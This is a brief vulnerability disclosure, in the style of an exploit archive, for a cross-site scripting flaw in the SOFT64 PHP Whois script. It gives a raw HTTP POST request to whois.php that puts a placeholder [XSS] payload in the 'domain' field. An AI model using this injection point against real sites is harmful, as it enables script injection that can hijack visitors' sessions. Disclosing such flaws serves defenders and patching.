SOFT64 PHP Whois Cross Site Scripting

` ______ __ ______  
/\ == \ /\ \ /\ __ \  
\ \ __< \ \ \ \ \ \/\ \  
\ \_____\ \ \_\ \ \_____\  
\/_____/ \/_/ \/_____/  
  
01000010 01101001 01001111  
  
[#]----------------------------------------------------------------[#]  
#  
# [+]SOFT64 PHP Whois XSS Vulnerability  
#  
# // Author Info  
# [x] Author: bi0  
# [x] Contact: bukibv[at]hotmail[dot]com  
# [x] Thanks: sp1r1t,packetdeath,redking and all my friends  
# [x] Irc : irc.freenode.net / #security-shell  
# [*] Note : R.I.P Rock4eveR,We`ll never forget you !  
#  
[#]-----------------------------------------------------------------[#]  
#  
# [x] Exploit :  
#  
# Http Request  
#======================================================#  
//Post: http://[server]/whois.php | HTTP/1.1  
Host: [server]  
Accept: text/javascript, text/html, application/xml, text/xml, */*  
Content-Type: application/x-www-form-urlencoded; charset=utf-8  
X-Requested-With: XMLHttpRequest  
Pragma: no-cache  
Cache-Control: no-cache  
Content-Length: 47  
// Post Data  
domain=[XSS]&tld_com=  
#=======================================================#  
#  
[#]-----------------------------------------------------------------[#]  
  
#EOF  
  
`